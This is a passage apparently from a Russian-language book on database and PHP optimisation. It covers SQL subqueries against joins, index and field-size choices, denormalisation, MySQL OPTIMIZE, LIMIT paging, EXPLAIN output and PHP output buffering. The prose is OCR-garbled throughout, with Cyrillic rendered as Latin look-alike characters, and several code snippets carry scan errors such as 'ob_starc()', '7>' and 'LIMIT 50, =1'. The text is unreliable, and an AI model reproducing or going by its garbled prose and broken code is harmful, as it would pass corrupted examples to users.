KIAIHBIM [UTS cepBepd (OTATh MOMYYaeTes MHKI).

B Takie MOMEHTEI s IyMaio, uTO Ay4ilue Gassl IaHHBIX — TE, KOTOPhIE HE MAryT
paboraTh ¢ BIOXEHHLIMM 3artpocamMu, a Jydiiue MporpaMMHUCTbl — T€, KOTOpkIE
HE 3HAIOT O CYIIECTBOBAHHMM MOA3ANPOCOB WIH MPOCTO HE YMEIOT UMM IOJIB30-
BaTbesl. B aTOM ciyuae mporpamMMucT Hanviuer asa sanpoca. [lepesiii Gyaer mo-
Jy4aTh CTATYC!

SELECT [Keyl]

FROM tbStatus

WHERE sName='Patoraer'

A Bropoit 3anpoc OyneT UcroNb30BaTh €ro st BuiGOpKK paboTHUKOB:
SELECT *

FROM thPerson p

WHERE p.idStatus=TlomyueHx:nits CraTyc

Takoit 3anpoc Gyner BHIMOMHATLCH HA cepBepe 6e3 uukia.
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Teneps MOCMOTPUM, KAK MOXHO BBIHECTH 3anpoc SELECT B CEKUMIO FROM. DTO
MOXHO CHENATh CHEAYIOMNM oGpa3oM:
SELECT *
FROM tbPerson p,
(SELECT [Keyl] FROM tbStatus WHERE sName='PaGoraer') s
WHERE p.idStatus=s.Keyl

B sToM cityyae cepBep BBITIONIHMT 3amlpoc W3 CEKLHK FROM. A BO BpeMsi CBA3LIBA-
HUs pesynbTata ¢ tabunuei paboTHUKOB Mbl NOJYMHM OKOHYATENbHbIH pesyib-
Tar. Takum obpazom, mng Kaxmoi cTpoku paboTHHKA He OYIeT BHINOJIHATHCSH
MOA3anpoc, H He Gyaer uMKia, ;
JauHse NpUMEPLl CAWIIKOM MpPOCTHl W Oaromapst ONTHMM3ATOPY MOTYT BBINOJ-
HATHCS HA COBPEMEHHOM CepBepe OJIMHAKOBO ¢ TOMHOCTHIO jio cexyHmbl. Ho npu
Oosiee pasBeTBICHHON CTPYKTYpE M CJIOXKHOM 3anmpoceé MOXHO CpaBHUTH pabory
PasHBIX 3aMpOCOB W YBHAETH Haubonee MPEeANOYTHTENLHLIH BAPHAHT s onpene-
nenHoit CYBJ] (wanomunalo, uTo pasebie 6a3bl JaHHBIX MoryT obpaGarsisars 3a-
TMPOCH! MO-PasHOMY).

B GonemmHCTBE Xe Cy4aeB KaXIblii SELECT OTPULIATENBHO BIHAET HA CKOPOCTh
paboThl, MO3TOMY B TNMpeAbIAYIIEM NMpUMepe HYXKHO W3DABMTHCSH OT HEro Clenyro-
num obpasom:

SELECT *

FROM tbPerson p, tbStatus s
WHERE p.idStatus=s.Keyl

AND s.sName='PaGoraer'

B nanHoM ciyyae takoe o0beIMHEHHE AB/ISETCS CaMbiM MPOCTLIM M HANpalinBa-
ercst camo coboil. B Gonee cIOXHBIX NpUMepax [MPOrPaMMHUCTEI OMEHb YACTO He
BHIAT BO3MOXHOCTH PelleHus 3a4ayu OIHUM 3anpocoM, XOTs 3TO pelieHue cy-
wecrsyer. Jdonyerum, uTo y Hac ecTh Tabnuua A ¢ NOJSIMK:
0 code — Moxer 6biTh | wm 2
O rirstName — MM .
O LastName — amius
B aroit Tabanne XpaHUTCA CITUCOK COTPYAHMKOB. JUTsi KaKIOro COTPYNHHKA eCTh
BCEro ase 3anucu: ¢ KonoM | m ¢ komom 0. 3anucu ¢ KonoM 1 Moryt GbiTh cBsiza-
HBI ¢ TAGnuUeit Info, B KOTOpPOit Oylner XpaHUTLCH MoNHAs WHGOpMAUMA O co-
TpyaHuke. Ham Hago nonyunts Bee 3anucH ¢ KogoM 0, juist KOTOPBIX CYLIECTBYET
CBSI3h MEXAY TabnuuamMu A ¥ Info. Takyo 3anauy vaiie BCEro pemialoT JBOHHBIM
3anmpocoM: _
SELECT *
FROM Info i,

(SELECT * FROM A, Info WHERE a.lLastName= info.LastName) s
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WHERE Code=0
AND a,LastName=s.LastName

Ho atoT npumMep MOXHO pelluTh 1 Gonee NpocThiM crrocoboM:

SELECT i2.*

FROM Info il, A, Info i2
WHERE il.Code=1l

AND il.LastName=A.LastName
AND il.LastName=i2.LastName
AND i2.Code=0

3neck B 3anpoce Mbl ABAXKILI CChITAEMCS HA OIHY W TY Xe Tabnuily Info M CTPO-
UM CBA3b Info-A-Info. Ha mepselil B3NS, CBA3L MoAyyaeTces CIOXKHOM, HO NpH
HAIMYUK NPaBHIBHO HACTPOESHHBIX MHAEKCOB 3TOT MpuMep Gyaer paborars B He-
CKONIBKO pa3 ObicTpee, YeM ¢ MCTOAB30BAHMEM MTOA3ANPOCOB SELECT.

[nst yekoperust paGoTsl MOXHO pasGuTh OIMH 3anpoc Ha Heckonmbko. Hanpumep, mist
MS SQL Server npenbiayiuii mpEMep MOXET BbITVISIIETh CAEAYIONMM obpasom:
Declare @id int

SELECT @id=[id]
FROM thStatus
WHERE sName='PaGoraeT'

SELECT *
FROM tbPerson p
WHERE p.idstatus=@id

B stom npumepe Mbl cHawana oOBABISEM NMEPEMEHHYI0 @id. 3aTeM B Heil coxpa-
HAeM 3HaYeHne WNEeHTH(dUKATOPA, 4 NMOTOM YXKe WIIEM COOTBETCTBYIOIUIWE CTPOKH
B TabmuIe tbPerson.

Kak BuauTe, oHy ¥ TY Xe 3a0a4y MOXHO PelinTh pasHeiMu crocodamu. Heko-
Topble pearn3anuu GynyT paborars ¢ OAMHAKOBOH CKOPOCTBIO, @ Y APYTHX MPOH3-
BOIMTENBHOCTh MOXET PA3IMYATLCA B HECKOJIBKO pas.

Kak MBI yXe roBopwiu, TpH HANHCAHWH [POrpaMMbl Bbl JOMKHEI NMOTHOCTHIO
H3YYUTh CHCTEMY, B KOTOpoii mporpammupyete. To xe camoe cnpaselTHBO W JUis
6a3 naHHbIX. Bl JOMKHBL 4eTKO nipencrasasnts cebe cucreMy, B Kotopoi paborde-
Te, ee npeumylulectsa M Henoctarki. HeBoaMOXHO MpeLToXuTs YHUBEpCATbHbIS
meTonsl Hanucauus sddexTuBHoro Koja, Koropsie paboranu 6s1 abconoTHo Be3-
ne. Mayuaiite, skenepuMeHTHPYHTe, aHATHIUPYHTE, H TOrAA Bhl CMOXETE ¢ Mak-
CUMaBHBIM 3dhEKTOM HCMOB3OBATE JOCTYITHLIE PECYPCHI.
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4.3.2. Ontumnsayua CYBQ

OnTMu3aumst TOMKHA HAYWHATECS el Ha 3Tane npoekTHposanus G6assl. OueHs
YAacTO MPOrPaAMMHUCThI 3aAAI0T IOJNSAM pasMep ¢ JA0CTATOYHO OONLIIMM 3aMacoM.
fl cam Tak mocTymaj, KOria MpOoeKTHPOBAL CBOM MepBble Tabnuiibl 6a3bl AAHHBIX.
TpyaHo npeackasarb, ZaHHLI® KAKOro pasMepa OyayT XpaHMTLCH, a €c/ii BelOpaH-
HOro pasMepa T1ojisi He XBaTHT, TO MPOrpaMma He CMOXeT COXpaHHTh HeoDXoam-
MYIO CTPOKY.

B Hekoropeix 6asax MaHHBIX, CAW HE YKA3aTh pasMep MOJSt Wi XPAHEHUS CTPO-
Ki, TO OH YCTAHABJAMBAETCS B MAKCUMAIBHO BOSMOXHOE 3HaYeHWe Wau B 255.
BT0 HENPOCTHTENbHOE PACTOYNUTENBCTBO JMCKOBOrO MpocTpaHcersa, ¥ 6asa maH-
HBIX CTAHOBMTCH HeonpasiaHHo Gonbuwioii. Yem Gonbuwie 6a3a NaHHBIX, TeM
cnoxuHee ee obpaborarh, HO €cllM YMEHBIUMTD €€ pasMep, TO CEpBEP CMOXET MaK-
CHMaIBHO GBICTPO 3arpy3uTh AAHHBIE B MAMATH M Mpou3BecTH nouck 6es obpa-
MEeHUsT K XecTKoMmy mucKy. Ecnu 6asa JaHHBIX He TMOMEIaeTcsi B NaMATH, TO
cepBepy NPUXOAMTCA 3arpyXaTh €e Mo YacTsiM, a B XYIILeM ciydae — HCIoab30-
Barb naMaTh ¢aitna (wr OC Linux pasaena) nmoakayku, KOTOpbIH HAXOAHTCS HA
nucke W paboTaeT B HECKONBKO pa3 MeUIeHHee ONepaTHBHOM naMsTh.

KoHeyHo e, MOXHO yBeIHYNTE oObeM onepaTMBHOH maMaTy 1o pasMepa Gassl,
YTO TAKKe MO3BOJIMT 3arpy3uTh BCE JAHHLIE B NAMATL W OOpaGaTbiBaTh MX Tam,
YTO HAMHOTIO BBiCTpee, HO 3TO PACTOMMTETLCTBO HE YBEJIHYUT CKOPOCTh 3arpy3KH.

Wrak, yrobsl MUHHMHU3HPOBATE pasMep 6asbl JaHHBIX, Bbl AOJDKHEI HCIONL30BATH
onTUMaNbHbINH pasmep noneil. Hanprumep, wis XpaHeHus HoMepa TenedoHa moc-
tarouHo Beero 10 cumBosioB, W He Hamo oTBoauTh Mo Hero S0 cumsonos. s
tabimust co 100 000 sanuceit ato Gyayr muwnue 4 Mbaiit nHdopmanuu. A eciu
nonei ¢ sappiieHHsIM pasmepoM 10? B stom ciydae pacxof CTAHOBHTCH CHWII-
KoM OGombiuuM. Ecmu none nomxHo MMeTh pasmep Gonee 100 cumsonos, mony-
MaiTe 0 ToM, 4ToOBI MCIIOMb30BATE TN TEXT MM MEMO. HekoTopbiM Gasam maH-
HBIX 3TO ACHCTBUTENBHO MMOMOXET, TOTOMY YTO 3HAYEHHS TAKUX IMONEH XpaHsTCs
B OTHENBHBIX CTPAHWLIAX, BHE CTPAHULL JAHHBIX U CTPOK.

OnHOBpEMEHHO € ONTUMMN3ALIMEN 3a1IPOCOB BbI MO/KHBI ONTHMHU3UPOBATL M CaMy
6asy HaHHBIX. DTO AOCTHraeTes C MOMOIIBIO BBEACHUS AOMOIHUTENEHBIX MHIEK-
COB Ha MoJist, 110 KOTOPbIM YacTo MPOMUCXONUT BhibopKa JNaHHbIX. MHaeKes MoryT
3HAYNTENIBHO YCKOPUTE MOHCK, HO ¢ HUMM ‘HYXXHO ofpatiiatecsi akKypaTHo, MoTo-
My YTO CAMIIKOM GONbLIOE KONIWYECTBO WHAEKCOB MOXET 3aMentnuTs pabory. Ya-
e BCEro 3aMeUICHNe MPOMCXONMT BO BpeMst N0GABAEHMS WIM YAATEHUS 3ammn-
ceif, moromy urto Tpebyercsi BHeceHHe H3MeHeHHWit B OonbLioe KOIHYECTBO
MHIEKCOB.

Tlocne BHECEHUS! M3MEHEHMIT B WHAEKCH BBl JO/DKHBI MPOTECTHPOBATH CHCTEMY
Ha TpenMeT npousBoauTesbHocTH. Ecnu ckopocTh HE yBeMuWIachk, TO yranure
WHAEKC, YToBbl OH HE 3aHMUMAT Pecypchl, NMOTOMY YTO A0BABIEHHE CAEAYIOMIETO
HHJEKCA MOXeT He TpuHecTH Xemaemoro 3(ddexra M3-3a NPUCYTCTBHS HEMc-
MOAB3YEMBIX MHIEKCOB, 3aHUMAIOLIHX PECYPCHI.
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Ewe onrum cnoco6oM MOBEILLEHS CKOPOCTH paboThl 3aNpocoB MOXKET ObITh jie-
HopManu3atmus aaHHeX. Yrto sTo Takoe? Y Bac MoxeT ObiTb HECKONBKO CBI3MH-
HbIX Tabmni. B mepBoit M3 Hux HaxomuTes (amMuiMsa Henoseka, a B IATON ropon
npoxueaHus. YroGel monyquTs B OAHOM 3anpoce 06a SHAYEHUs!, HYXHO HABECTH
CBSI3L MEXILYy BCEMM TUMM Tabnuiamu, u s cepBepa Takoil 3arnpoc MoXeT GuiTh
CITMIITKOM CTOXKHBIM. B Takmx ciyuasx HasBaHWe ropopa KOMMPYIOT B Ty e Tab-
auny, rae Haxomutest dbaMuiusl, W CBA3L craHoBUTCs HeHyxkHoi. Konewuno xe,
TOSABMACTCH W M30BITOMHOCTh TAHHEIX — B IBYX TaONMIAX XPaHATCS OQHHM H Te Xke
aaHHbIe, W B Tabmuie ¢ GaMIMSIMKU BO MHOIHMX CTpoOKax Oyier nosropsThest Ha-
3BAHME FOpONA, HO 3TO MOBBICHT CKOpocTh O6paboTKM M MHOrZA OYEHb 3HAYM-
TEIbHO.

Mutiycom NeHOPManU3aliM SBISAETCS W CAOXKHOCTL MOMIEPXKKH JaHHbIX. Ecan
B OAHOH Tabiauue MIMEHWIOCh 3HAYCHHME, TO Bbl JOJKHBI OOHOBHUTH COOTBETCT-
ByIOUME 3HaYeHust B apyroit tabauue. MIMEHHO nosToMy Uit ASHOPMANH3ALMH
MCMONB3YIOT TOJILKO T MOJis, KOTOphle HaMeHsAloTes peako, Baaro, ropona y nHac
NEPEMMEHOBLIBAIOT HE KAXIbIH ASHB, M MX CIIMCOK JIErKO CONPOBOXIATH Adxke
BPYUHYI0, HO EC/IH cepsep MOMIEPKUBAET TPUITEPSI, TO MOXHO BO3NOXHUTL 3T
3agavy M Ha cepsep 6a3 maHHLIX.

Hanbonee pacnpocrpaHenHoit 6aszoil aansbix win Web-npunoxeHus sisercs
MySQL. [Ina Hee ecTh OAMH ABTOMATHYECKUI METON ONITHMM3ALMH — OMeparop
OPTIMIZE, KOTOPBIH MOXET MOBBICHTH paboTy TaGiull ¢ MOMOIUBIO BBIMOJAHEHHS
MpoMHIAKTHYECKUX JAEHCTBUI, KOTOpHIE BKIIOYAIOT COPTUPOBKY MWHIGKCHBIX
CTPaHHLl, OOHOBAEHME CTATHCTHKH, OMHCTKY YAANeHHBIX CTPOK M T, A. Oneparcp
MMEET CJIeyOIMHA BUIL

OPTIMIZE TABLE name

B KayecTse MapaMerpa name YKAKWUTE MM TAGIHILI, KOTOPAs TPeOYeT OnTHMU3a-
LIHH,

Hna toro yroGbl BHIGPATh NPABMABHLIE MUIAH BLIIOMHEHHMS 3apPoca, COBPEMEH-
Hble cepBepbl 6a3 JAHHBIX HCIIONB3YIOT CTATUCTHKY. EC/v OHa y Bac He BKIIOYEHA
Ha ABTOMATHYECKOE HCIIONB30BAHNE, TO 5 PEKOMEHIIYIO CHEJAaTh 3T0 ceiyac,

Yem Ham nmomoxer crarucruka? [onmyeTHM, YTO y HAC €CcTh CIWCOK paboTHUKOB
nureitHoro uexa. B raxoii Tabmuue, Hapeproe, 90% (ecnu He Gonee) cocraBsT
MYX49MHbI, Beab pabora B JMTEHHOM NPOM3BOACTBE HOCTATOMHO THAXENA s
XeHuH, Tenepb DOMYCTHM, YTO HAM HYXKHO HAWTH Beex XeHu(MH. Tak kak
ux Mano, Haubonee 3ddexTUBHEIM BapHaHTOM ByHeT HCMONBIOBAHHE HHICKCA.
Ho ecnn HyxHO HallTH MYK4UMH, TO a¢ipekTHBHOCTh MHAeKca nanaer. Komnuecr-
BO BBHIOMpaeMbIX 3anmuceil clNMIUKOM BENMKO, M A8 KOKIOA M3 HUX OOXOmHMTL ae-
peBo MHIEKca TOBOMBHO HaknamHo. HamHoOro npouie npockaHupoBath Belo Tab-
JIMLLY, YTO BBINOJIHUTCA HAMHOTO OBICTpee, NOTOMY YTO CepBepy HOCTATOMHO MO
ONHOMY pasy MPOYUTATH BCE JIMCTHS HIKHEro YpoBHS MHIeKca, 6es Heobxommmo-
CTH MHOTOPa3’0BOro YTEHHs BCEX YPOBHEH.
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4.3.3. Boibopka Heo6xoanuMBbIX faHHbIX

Ipu pabore ¢ GasaMu JAHHLIX MBI PEryIsSPHO MHLIEM 3aMpockl HA BLIGOPKY HaH-
Hbix, Konuyecrso suiOupaeMbiX AaHHBIX MoXeT ObiTh ovyens Gonsummm. [Mpocroii
npumep — mouckopas cucrema. [lonpoOyiite Ha caiite yahoo.com wiu goo-
gle.com 3anyctuts nouck no caosy "PHP". Mue nouckosas cucrema coobiuna,
qro HaitneHo okoso 690 000 000 samuceit, u mpu aToM Ha o6paborky 3arpoca
noxano6unocsk tTonsko 0,05 cekynn. B peanbHocTH BEIGOPKA TAKMX JaHHBIX Haxe
Ha camMoM OBICTPOM KoMMbioTepe BymeT MPOHCXOMUTH HAMHOIO HOJbINE, TAK OT-
Kyla Xe Takas BeicoKas ckopocrtb? Her, peuenue HaXoawrcsi HE B MOLUHBIX
KOMMBIOTEPAX KOMIaHuy google.com, s MpocTo yBEPEH, YTo BCe KPOETcs B mpa-
BUJILHOCTH HAMMCAHUS 3aTIpoca.

HonyeruM, uyro Kaxnas crpoka B 6aze naHHeix Google sanumaer seero 100 Gaiir.
B peansHOCTH, KOHEYHO Xe, pasMep CTPOKH HAMHOTO Bolblue, HO MBI OrpaHu-
YUMCH TAKHM MATEHBKUM YHCIOM, W ero BMoJHe XBAaTHT, yroObl NOPAInuTh Halue
soobpaxenue. Eenn ymHoxure mcno 100 Ha xonmuvecrso crpok (690 muH), TO
MONYMHTCS], YTO pesyabrar 3anpoca Gyner sanumars 69 I'6aiit. daxe ecau cepsep
Ga3pl JAHHBIX U CUEHAPUN HAXOAATES HA OXHOM KOMOBIOTEpe, TOJYyYeHWEe TAKUX
NAHHBIX OTHHMET HE OIMH AECSITOK CeKyHI. A ecnau 310 pashbie ceppepbl? [lpu
COBEPUIEHHO HE 3aHATOM M CAMOM MOIIHOM KaHaie NepeKayka TAKOro KoJaH4yecT-
Bd JAHHBIX OT cepsepa Gasbl MAHHBIX 1O CEpBEpa CO CLEHAPHEM OTHUMET elle
Gosblile BpeMEHH.

Kak xe Torma monyuaercs takas Goabiuasi ckopocts? Orobpaxars noibioBaTeio
BeCb Pe3yJIbTAT TIOMCKA CIWIIKOM HAKIAIHO, T. K. HUKTO He 3aXOueT CKaumBaTh
cTpaHmily pasmepom 69 I'Gaitt, mostoMy pesynbrar pasdusaercs Ha CTPAHMIILI, Ha
Kaxuoit u3 Kotopbix oroGpaxaercs or 10 no 30 pesynsraros (3aBHEHT OT npo-
rpammucta). Mexonsi ua 3Toro, mojJyvyeHHe pesyiIsTara MoXHO pasburh Ha JaBa
arana:
1. OnpenennTh obuiee KOIMYECTBO 3amucei, ynommwpnmmnx KpHTEpHAM 1o~
neka. Takoii 3anpoc MMeeT BUIL
SELECT Count (*)
FROM TableName
WHERE KpuTepuu noMcka
Pesynsratom sanpoca Gyaer BEero JUIIL OXHO YHENO, U XpaHeHHs KOTOpOTro
xsatyT ¥ 4 6ailt. Takoe yucno ceppep Dasbl AAHHBIX CMOXET MIHOBEHHO Ie-
penarb cUeHapmio.
2. Beibpats nanubie ans (OpMHPOBAHKWA TONLKO OAHON cTpannusl. Ha Havans-
HOM 2Talle 3To MepBasg CTpaHuLa, M HYXKHO BbiOpaTh nepsbie:N zanuceil. Ecian
. CTpaHuua Bropas, To BeiOupaem 3amucu N+1 no N+N u tak manee, Bro Ha-
MHOrO ynoOHee u ObicTpee 110 ABYM NpUSHHaM:
¢ KOra MpW CKAHHPOBAHWM 623kl NAHHBIX B MOWCKE HYXHBIX 3anuceit cep-
Bep HAXOAWT TepBble N CTPOK, OH TpPepsIBAaeT TIOMCK M BO3BpallaeT pe-
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syasTar Kauenty. HansHeiliuee CKaHupoBaHue GeceMBICICHHO, NOTOMY 4TO
KnueHTy Gosblie 3anuceit 1 He HYKHO,

e mo cetu nepenaercs Tonsko N X (pasmep cTpokM AaHHEIX) GaifT, 4T0 Ha-
MHOTO MEHBIle, YeM pa3Mep CTPOKH, YMHOXeHHSBIH Ha 69 MIH.
B cayyae camoif pacnpoctpaHeHHoit Gasel manHbix MySQL jmns peanusaumu
BCETO BbIIIECKASAHHOTO HYXHO MCIIONB30BATh ONEpaTop LIMIT:
SELECT *
FROM TableName
LIMIT ¥, N

rae Y — cTpoka, HauuHas ¢ KOTOpoif, HY)XXHO BO3BpalliaTh pes3yabrar, a N — Ko-
auvectBo crpok. Hampumep, 4robsi momyunts ctpokd ¢ 11 mo 25, HykHO Bl-
MOTHHUTH 3aIIPoc:

SELECT *

FROM TableName

LIMIT 11, 15

Ecnu Heo6XOaMMO NOAYYMTL BCE CTPOKM, HauuHas c 50, To B Kayectse N HyxXHO
yKasars yucno —1:

SELECT *
FROM TablelName
LIMIT 50, =1

Beerna nonyvaiite or cepsepa 6a3 faHHBIX TONLKO camMble HEODXOAMMBIE AAHHBIE.
Jake 3anpoc MMUIHEN KOMOHKH MOTPEByeT AONONHUTENBHBIX 3aTPaT HE TONLKO
OT CepBepa, HO ¥ OT CeTeBOro 06oPYNOBAHUA M KITHEHTA.

4.3.4. Nsyvaiite cucremy

S nocrapancs nate Toasko obuiMe CBENEHNHs 00 ONTHMM3AUMM, HO JAXE ecau
UCMOJIb30BATh TOJNBKO HX, Bbl 3HAYMTENBLHO MOBLICHTE CKOPOCTh paboTel MPHIO-
XeHuil ¢ basamu jpaHubix. Bonee TOHKYIO HACTPOHKY YAAcTCsl MPOU3BECTH, TOMLKO
anas cueremy, Hanpumep, CYBJ (Oracle wim MS SQL Server) moxer cobupars
CTATHCTHUECKYI0 MH(}OPMALMIO O 3anpocax, KoTopas [MO3BOMMT ONTHMMH3ATOPY
BLIOpaTh NEHCTBUTENIBHO NPABMABHEIN M ObiCTpht MeTOX BLIGOPKM HAHHBIX.
Ho cratucrtuka MOXET W HABPeAWTb, [MOITOMY XENaTelbHO YMETh YIPaBisiTh
npoueccom cGopa urbopmaumny.

PaccmoTpeHHbBI® METONB ONTHMM3auMH paboTaloT MPaKTHYECKH BO BCEX COBpe-
meHHbIX CYB]l. Bonee ToHKYI0 HAacTPOHKY HYXHO HaYMHATHL TONLKO TMOCJE TOro,
KaK Bbl y3Haere, KAk cucrema u onTuMusarop obpafarbiBaior sampoc, M 4TO
MOXKHO CHENAaTh UL NOBbileHUA 3QPEKTUBHOCTH.

B HexoTophiX cHcTemax yrparneHust naHHsMi (Hanpumep, MS SQL Server) ects crie-
IMANBHBIE YTHIMTSI, KOTOphIC MO3BOSIOT MMPOAHATM3UPOBATE BHIGPAHHEIH ONTHMKIA-
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TopoM IaH BemoaHenns. B MS SQL Server MOKHO BU3yalbHO MPOKOHTPOIMPOBAT
BCE ILATH M MOAY4HTh NoapobHyio nHbOpMALHIO No KaxnoMy wary (puc. 4.1.). Ilpo-
aHaNM3UPOBaB 3Ty HHQOPMALIMIO, MOXHO NPHHATE MPAaBWIBHOE PeLIEHHE MO MOBBIILE-
HHUIO MPOU3BOIMTENLHOCTH CepBepa M CKOPOCTH BBITIONIHEHHS 3anpoca.

CEEFMNE —— —

Iy

Ty e —

e i ] ) i

Puc. 4.1, NpocMmoTp nnaHa BeINOAHEHWs 3anpoca ¢ nomowsio Query Analyzer

Y MySQL uer ynobHoro rpaduveckoro unrepdeiica (He cuuras paspaborok cro-
POHHUX NMPOU3BOAMTEJNEH), HO KOMAHIA aHANM3a 3anpocoB ecThb, YTobsl y3HATh,
Kak Gaza NAHHBIX BEINOIMHAET 3ampoc, HeoOXOAMMO MEpPeX ONeparopoM SELECT
NoCTaBUTh EXPLAIN, HANpuMep:

EXPLAIN SELECT *

FROM TableName

B pesynstate Bl YBUAWTE TABIHIY, COCTOSILLYIO U3 CHEAYIOMIHX Tomne:
O table — uMsi TaONHLIBI, YIaCTBOBABIIEH B 3arpoce;

O type — THI O6BEAMHEHHs B 3anpoce. D70 TIONE O04YE€HB BAXHO, MOITOMY 06-
pauiaiite BHMMaHUE HA cofiepXalleecs 3/iech 3HAYeHHE. A B KayecTse couep-
KUMOTO TIOJIA MOXHO YBU/IETD Cleayloniee:

* system — CHCTeMHOE OOBEIMHEHHE MCHONB3YeTCA, Koria B Tabnuue Tob-
KO OJIHa CTPOKa;
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® eg ref — OOHA CTPOKA YKasaHHON TaGiMIIBl COOTBETCTBYET HECKONBKHM
CTPOKaM CBA3aHHON TabnuLbL,

® ref — HECKOIBKO CTPOK TaGHHUEI MOTYT COOTBETCTROBATE IPYINE CTPOK 3
CBSI3aHHOI Tabnuuel. Takoe 3HaUEHUE HeXenaTeNbHo, HO BHOJMHE pealbHo,
ECIIM MCTIONB3YETCS He YHHKANbHBIA MHIEKC, IIE ecTh HeGOobIIOE KomHYe-
CTBO MOBTOpEHUIt; . '

® range — JUISI BBIBOJA pe3yibTara GyieT WCNOMb30BATHCS ONpelNefeHHbI
IManasoH 3Ha4YeHuit;

* ALL — [UISl KAXIOH CTPOKH M3 CBA3aHHON rabnuusl Oyner nmpocMarpusars-
csl Besl TeKylas Tabnnua. Takoe GbIBAaeT B Tex ciyyasx, Koriad Her MHIeK-
COB, MMOJE3HBIX 3arpocy,

¢ index — JUISl KaXIOil CTPOKH cBA3aHHOI TaGanusl GYIET MpocMAaTpHBATLCS
Bes TEKyILas Tabauua, Ho npu ITOM HCMONBLIYETCH HHIEKC,

0 possible_keys — HHIEKCHI, KOTOPHIE MOTYT WCHONBIOBATHCA B 3ANpaCce.
Eciu MHOEKCOB HET, TO MX BBENCHME — OIWH M3 PEAIBHBIX COCOGOB MOBLI-
LIEHMS MPOUIBOMUTENLHOCTH

O key — ecad B NoJ¢ possible_keys YKA3bIBAIOTCS BO3MOXHBIE MHAEKCHI, TO
B JaHHOM [1OJIe MMOKA3aH TOT MHAEKC, KOTOPLIi HCIONb30Baics;

O key_len — JUIHHA KJTIOYA;

O ref — none win yciaoBue M3 CEKUIHM WHERE, KOTOPOE MCIONL30BANOChE B MH-
JieKce,

O rows — KOJIMYECTBO NPOCMATPHBAEMBIX CTPOK IS TOJYMEHHS pe3ynbrara;
O extra — AOMOAHUTENbHAS WHDOPMALIAS.

Mbl Takke He paceMarpuBadM TIOBbIUEHNE TPOM3BONUTENBHOCTH 33 CYET M3ME-
HeHusi annapatHoil yacTH. DT1oT MeTon Tpebyer GONBUIMX 3aTpaT, TAK YTO C Ha-
paliMBaHus annaparHol YacTH HAYMHAIOT TOJNBKO HEOMBITHBIE MPOrPAMMMCTEL.
Xaxkeps! Bcerfia HAUMHAIOT ¢ U3MEHEHUs! TIPOrpaMMHOI YacTH, a NoToM yxe 06-
palaT BHUMAHWE Ha KeIe30.

4.3.5. OntTnmusauwna cepeepa

Ecam nocne onTuMmu3anmy 6assl JaHHBIX, TAGMUIL H 3aIIPOCOB Bbl HE YIOBAETBO-
PEHBl PE3YNLTATOM, HYXHO MEPEXOAHTL K ONTHMM3ALMM camoro cepsepa. “Yto
MOXHO HACTPOUTH y cepiepa? Yalie Beero 3aecs He TAK y&K M MHOIO HacTpoek M,
B OCHOBHOM, OHH 3AKIIOYAIOTCH B ONTHMM3ALWM TAMSITH, WCTIONB3YEMOH U
KOLIHPOBAHUA JAHHEIX. ¥ cepBepa MO/DKHO OBITH CTONBLKO NamsATH, uTobbl Gasa
NAHHBIX TIOMECTHJIACh B Hee MOAHOCThIO,

[Mpu BeIOOpe pasmepa K3la HYXHO Y4WTHIBATH Takke norpebuoctn camoit OC u
apyrux cayx6. Eenm Gase gaHHBIX OTJAaTh BCIO MaMsITh, TO HUYEro He ocraHercs
OC s xpaHeHusi cBoux OmGnuorexk M pecypcoB. A Belb €CTh ellle M Apyrue
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cnyx6st. Hanpumep, ovennr wacro MySQL Haxoaurcs dusmyeck Ha TOM XKe
cepsepe, uTo ¥ uHTepnperarop PHP, u um oboum HyXHA naMaTs LIS XpaHEHHS
CBOMX PECYpCOB.

Cepsep 0a3sl ZaHHEIX MOXKET COAEPKATH JOCTATOYHO MHOIO PA3INYyHBIX MOIYJIEH.
He crour sarpyxars B namsiTh TO, 4T0 He ByeT MCHONB3OBATHCA, HOITOMY BCe
AuuHee HeoOXOAUMO OTKAIOYHTE, TToMHUMO OCBOBOXIIEHHA MAMATH OTKIIOYEHM-
€M JIMUIHETO BBl MoBbiaeTe 6esonacHocts. JlomycTns, YTo B ONPEAENEHHOM MO-
nyne Haitaena owubka. Ecau Bbl 9TOT MOIyNb OTKITIOYWIN 34 HEeHanoOHOCTBIO, TO
Balla CHCTeMa OCTaeTcs Heysi3BHMOM, M Xakep He CMOXEeT BOCITOJIb30BaThCs JaH-
HO# olUMOKOH Ha cepepe.

4.4. Ontumnsaymna PHP

Mpl paceMoTpenit TEOPHIO ONTHMHM3ALINHK, TTOTOBOPHIIM © TOM, KaK MOXHO ycKO-
putTh paGory Gaskbl JaHHBIX, & TENepb HAM NPeICTONT Y3HATH, KAK XE MOXKHO Ofl-
TuMH3MpoBark cam PHP-kon. Korza sul Haunm cnaboe mecto cueremsi u ybeamn-
JIUCh, YTO Henoab3yerces Hanbonee saddekTUBHBIN ANTOPUTM, MOXKHO MEPEXOAUTH
K onTuMmAzanuK Kopa ¥ PHP-uncrpykumii,

4.4.1. KawmposaHue BbiBoga

B szsike PHP ecTh HECKONBKO WHTepecHBIX (YHKIMH, ¢ MOMOIIBIO KOTOPBIX
MOXHO BKIIOUMTH GydepH3alnio BhIBOLA M NOBBICUTH CKOPOCTH paboThl CleHa-
pus. [Uis Hauana KSWMPOBaHMS HeoOXoAMMO BbI3BATE (YHKUMIO ob_start(),
a B KOHIIe BHI3BaTh (PYHKUMIO ob_end_£lush(). Bce onmepaimu BHIBOAA TAHHEIX
(Hanpumep, print()) MEXIy BHIIOBAMM 3THX ABYX GyHKUM GyayT COXpaHATH
naHuble B Gydepe, a He HanpavaTh KineHTy. HenocpeacTseHHas oTrpaBka faH-
HBIX KJIMEHTY MPOMU30IET TOALKO MMOC/HE Bbi30BA (YHKUMM ob_end_flush().
Ecin dyHKums ob_end_£1lush() He Oyaer BhI3BaHa, TO AaHHbe GyayT Hanmpasie-
HBI CepBepy 1o 3aBEPUICHUH BBITIOIHEHHUS CLEHAPHSL.

Creayiouiuii mpuMep MoxassiBaeT, KaKk UCMoNb30BATE MYHKUUM K3IUPOBAHUA!

<?php
ob_starc() ;

// BuBOm HaHHEX

cb_end flush();
7>

Bo Bpems BBIMONHEHWS CLIEHAPUS BbI MOXETe KOHTPOJMPOBATh cocTosiHue Byde-
pa. [Ins 5TOro MOXHO BOCMO/NL30BATHCS OMHOI M3 ABYX (hYHKINHIA:

0 ob_get_contents() — QYHKUMs BO3BpAlLAET coiepiumoe Oydepa;
[J ob_get_length() — (QYHKIMs BO3BpaIiaeT pasmep BeineneHnHoro Gydepa.
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Bydepnzaunio MoXXHO YCKOPHTD €uie Gomblie, ecid BKIOUUTE CXKATHE JaHHBDN.
